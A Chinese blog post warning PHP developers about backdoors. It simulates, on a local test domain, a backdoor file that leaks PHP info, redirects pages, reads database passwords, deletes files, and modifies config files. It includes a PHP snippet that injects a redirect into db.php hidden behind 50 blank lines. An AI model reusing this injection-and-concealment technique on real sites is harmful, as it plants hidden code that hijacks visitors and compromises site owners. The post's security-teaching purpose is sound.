今天来聊一聊服务器安全的问题。这几天一直在着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!今天用PHP 代码展示一下危险。
测试准备
为了模拟,我在本地搭建了服务器环境,展示一个正常网站如何被攻击。
首先修改电脑本地host文件。改了之后就可以用test.com虚拟域名访问本地文件了。文件目录在“C:\Windows\System32\drivers\etc”
网站目录很简单,如下:
在网站入口中,引用了数据库配置文件,然后输出一句话来模拟网站首页。
在数据库配置文件中,我参照当前流行的框架ThinkPHP数据库配置文件,返回一个数据库基本信息数组,包括数据库的端口和密码。
接下来就是我们的重头戏,黑客后门文件。
你可能会觉得,就这?就这几行代码能干什么?
开始模拟攻击
我们访问一下我们的网站
网站可以正常访问,没有任何问题
访问一下黑客文件,好像也没有问题
1、输出php版本信息
现在黑客已经知道你后台php版本,装了那些插件,数据库用的是什么数据库
2、网页重定向
可以跳转到 百度了,这表示,黑客已经搭好了一个运行代码的环境。现在通过你的网站,已经可以随便写一行代码都可以执行了
3、读取数据库配置信息
已经把你的密码什么的都弄到手了,你的网站什么数据,都可以修改了,怕不怕。甚至可以“删库跑路”!!
4、删除文件
看:1.txt文件被删除了
可以删除你网站上的文件了
5、修改文件
?config= // 读取数据库配置文件 $info=file_get_contents("Conf/db.php"); // 设置很多个换行符号 $change=str_repeat("\r\n",50); // 用空格代替<?php $file= str_replace("<?php","",$info); // 你想添加的任何功能都可以写在下面 $extCode="header('location:http://www.baidu.com');"; ... // 最后组合起来,保存回去 file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
来看看你的db.php文件是怎么改变的
在文件头加入很多换行,你以为文件是空的,其实他已经在文件里加入一行跳转代码,无论别人怎么访问你的网站.都会跳到他写的网站去
攻击 End
看完是不是大吃一惊?别慌:我们要如何防备呢?